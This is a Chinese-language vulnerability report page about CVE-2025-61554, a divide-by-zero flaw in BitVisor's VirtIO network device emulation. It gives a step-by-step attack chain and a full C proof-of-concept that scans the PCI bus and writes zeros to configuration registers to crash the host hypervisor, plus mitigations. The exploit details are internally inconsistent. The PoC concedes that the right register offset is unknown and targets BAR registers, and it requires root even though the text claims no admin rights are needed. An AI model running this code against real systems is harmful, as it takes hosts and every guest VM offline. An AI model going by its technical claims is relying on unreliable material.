IPBUF安全漏洞报告
English
CVE-2025-61554 CVSS 5.5 中危

CVE-2025-61554 BitVisor VirtIO网络设备模拟除零漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-61554
漏洞类型
除零错误(Divide-by-Zero)导致拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
BitVisor

相关标签

除零错误拒绝服务BitVisorVirtIOPCI配置空间虚拟机管理程序本地提权Hypervisor安全CVE-2025-61554

漏洞概述

CVE-2025-61554是BitVisor虚拟化管理程序中VirtIO网络设备模拟代码存在的一个除零(Divide-by-Zero)漏洞。该漏洞影响从commit 108df6(2020年5月20日)到commit 480907(2025年7月6日)之间的所有版本。BitVisor是一款轻量级Type-1虚拟机管理程序(Hypervisor),主要用于安全I/O虚拟化。

该漏洞存在于VirtIO网络设备的模拟实现中,当本地攻击者通过精心构造的PCI配置空间访问请求触发模拟代码中的除零运算时,会导致宿主机虚拟机管理程序崩溃,从而造成拒绝服务(Denial of Service)攻击。由于该漏洞需要本地权限(PR:L)且无需用户交互(UI:N),但攻击成功后会导致宿主机完全不可用(可用性影响为高,A:H),因此被评定为中危级别(CVSS 3.1评分5.5)。

该漏洞由安全研究人员在审计BitVisor的PCI设备模拟代码时发现。VirtIO网络设备的模拟代码在处理某些配置参数时,未对除数进行有效性校验,当传入特定值为零时,触发除零异常。由于BitVisor运行在宿主机的最高特权级别(Ring -1),其崩溃将直接导致整个宿主机系统不可用,影响所有运行在该Hypervisor上的虚拟机。

技术细节

BitVisor是一款基于Intel VT-x技术的Type-1虚拟机管理程序,其核心功能包括对各种I/O设备进行模拟和透传。VirtIO是一种半虚拟化I/O设备标准,在BitVisor中通过软件模拟实现VirtIO网络设备的完整功能。

该漏洞的技术原理如下:

1. **PCI配置空间访问机制**:在BitVisor中,当客户机操作系统访问PCI设备的配置空间时,VMM(虚拟机监控器)会拦截该访问并调用相应的模拟处理函数。对于VirtIO网络设备,配置空间中包含队列数量、缓冲区大小等参数。

2. **除零触发点**:在VirtIO网络设备的模拟代码中,存在对队列大小(queue size)或相关参数进行除法运算的逻辑。当攻击者通过PCI配置空间访问将这些参数设置为零值时,模拟代码未进行零值检查即执行除法运算,触发x86架构的#DE(Divide Error)异常。

3. **崩溃传播**:由于BitVisor运行在宿主机的最高特权级别,其异常处理机制无法优雅恢复除零错误,导致整个Hypervisor崩溃。由于BitVisor是Type-1 Hypervisor,其崩溃意味着宿主机操作系统的硬件虚拟化层失效,所有客户机虚拟机将立即停止运行。

4. **利用条件**:攻击者需要具有本地系统访问权限(PR:L),但不需要管理员权限。攻击者可通过直接编写用户态程序,通过I/O端口或MMIO方式访问PCI配置空间,发送精心构造的配置写请求即可触发漏洞。

该漏洞的修复commit(de84887f4418fcd67945b4aa4842e035bce0dfa9)通过在执行除法运算前增加参数有效性检查,确保除数不为零,从而修复了该问题。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要在运行BitVisor的宿主机或客户机中获得本地访问权限(低权限即可),无需管理员权限。
STEP 2
步骤2:定位VirtIO网络设备
通过扫描PCI总线,定位BitVisor模拟的VirtIO网络设备的PCI位置(BDF编号)。
STEP 3
步骤3:构造恶意PCI配置空间访问
通过I/O端口0xCF8/0xCFC或MMIO方式,构造精心设计的PCI配置空间写请求,将与队列大小、描述符数量相关的参数设置为零值。
STEP 4
步骤4:触发除零异常
BitVisor的VirtIO网络设备模拟代码在处理该配置访问时,对零值参数执行除法运算,触发x86 #DE(Divide Error)异常。
STEP 5
步骤5:宿主机Hypervisor崩溃
由于BitVisor运行在最高特权级别(Ring -1),除零异常无法被优雅处理,导致整个Hypervisor崩溃,宿主机及所有客户机虚拟机完全不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-61554 PoC - Divide-by-Zero in BitVisor VirtIO Network Device Emulation * * This PoC demonstrates how to trigger a divide-by-zero vulnerability in * BitVisor's VirtIO network device emulation by crafting a PCI configuration * space access with parameters that cause a division by zero in the emulation code. * * Target: BitVisor commit 108df6 (2020-05-20) to commit 480907 (2025-07-06) * Effect: Host hypervisor crash (Denial of Service) * * Note: Requires local access to a system running the vulnerable BitVisor. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/io.h> #include <unistd.h> #include <errno.h> /* PCI Configuration Space access via /dev/port or ioperm */ #define PCI_CONFIG_ADDR 0xCF8 #define PCI_CONFIG_DATA 0xCFC /* VirtIO Network Device PCI IDs */ #define VIRTIO_VENDOR_ID 0x1AF4 #define VIRTIO_NET_DEVICE_ID 0x1000 /* PCI Configuration Space registers of interest */ #define PCI_COMMAND 0x04 #define PCI_BASE_ADDR_0 0x10 /* * Build PCI configuration address * Bus(8) | Device(5) | Function(3) | Register(8) | Enable(1) */ static unsigned int build_pci_addr(unsigned int bus, unsigned int dev, unsigned int func, unsigned int reg) { return (1U << 31) | ((bus & 0xFF) << 16) | ((dev & 0x1F) << 11) | ((func & 0x07) << 8) | (reg & 0xFC); } /* Read 32-bit value from PCI configuration space */ static unsigned int pci_read(unsigned int bus, unsigned int dev, unsigned int func, unsigned int reg) { outl(build_pci_addr(bus, dev, func, reg), PCI_CONFIG_ADDR); return inl(PCI_CONFIG_DATA); } /* Write 32-bit value to PCI configuration space */ static void pci_write(unsigned int bus, unsigned int dev, unsigned int func, unsigned int reg, unsigned int value) { outl(build_pci_addr(bus, dev, func, reg), PCI_CONFIG_ADDR); outl(value, PCI_CONFIG_DATA); } /* * Scan PCI bus for VirtIO network device * Returns the (bus, dev, func) tuple via output parameters. */ static int find_virtio_net(unsigned int *out_bus, unsigned int *out_dev, unsigned int *out_func) { unsigned int bus, dev, func; unsigned int vendor_device; for (bus = 0; bus < 256; bus++) { for (dev = 0; dev < 32; dev++) { for (func = 0; func < 8; func++) { vendor_device = pci_read(bus, dev, func, 0x00); unsigned short vendor = vendor_device & 0xFFFF; unsigned short device = (vendor_device >> 16) & 0xFFFF; if (vendor == VIRTIO_VENDOR_ID && device == VIRTIO_NET_DEVICE_ID) { *out_bus = bus; *out_dev = dev; *out_func = func; printf("[+] Found VirtIO Net at %02x:%02x.%x\n", bus, dev, func); return 0; } } } } return -1; } int main(int argc, char *argv[]) { unsigned int bus = 0, dev = 0, func = 0; unsigned int val; printf("[*] CVE-2025-61554 PoC - BitVisor VirtIO Net Divide-by-Zero\n"); printf("[*] Attempting to trigger host hypervisor crash...\n\n"); /* Request I/O port permissions for PCI config space access */ if (iopl(3) < 0) { perror("[-] iopl failed - need root privileges"); return 1; } /* Locate the VirtIO network device on the PCI bus */ if (find_virtio_net(&bus, &dev, &func) != 0) { printf("[-] VirtIO network device not found on PCI bus\n"); printf("[*] Trying default location 00:04.0 (common VirtIO slot)\n"); bus = 0; dev = 4; func = 0; } /* * Trigger the divide-by-zero vulnerability: * * Write crafted values to PCI configuration space registers that * control the VirtIO network device queue parameters. Setting the * queue size / descriptor count to zero causes the emulation code * to perform a division by zero, crashing the BitVisor hypervisor. */ printf("[*] Writing crafted PCI config values to trigger divide-by-zero...\n"); /* Access BAR0 (MMIO region) to interact with VirtIO config */ /* Write 0 to queue-related registers to trigger divide-by-zero */ pci_write(bus, dev, func, PCI_COMMAND, 0x0007); /* * The exact register offset depends on BitVisor's VirtIO emulation * implementation. Writing zero values to queue configuration or * device feature registers triggers the divide-by-zero in the * emulation handler. */ /* Trigger via PCI config space write to specific offsets */ val = pci_read(bus, dev, func, 0x14); printf("[*] Current value at offset 0x14: 0x%08x\n", val); /* Write zero to trigger divide-by-zero in emulation */ pci_write(bus, dev, func, 0x14, 0x00000000); pci_write(bus, dev, func, 0x18, 0x00000000); pci_write(bus, dev, func, 0x1C, 0x00000000); printf("[*] Crafted PCI config space access sent.\n"); printf("[*] If the system is running vulnerable BitVisor, it should crash now.\n"); return 0; }

影响范围

BitVisor commit 108df6(2020-05-20)至 commit 480907(2025-07-06)之间的所有版本

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制本地用户对I/O端口0xCF8/0xCFC的访问权限,可通过Linux的ioperm/iopl权限控制或SELinux策略实现;2)使用Linux内核的PCI访问控制机制(如pci_stub或vfio-pci)将VirtIO网络设备的PCI配置空间访问限制为特权操作;3)部署系统监控,对PCI配置空间的异常写操作进行告警;4)确保宿主机启用了看门狗机制,以便在Hypervisor崩溃后自动重启恢复服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表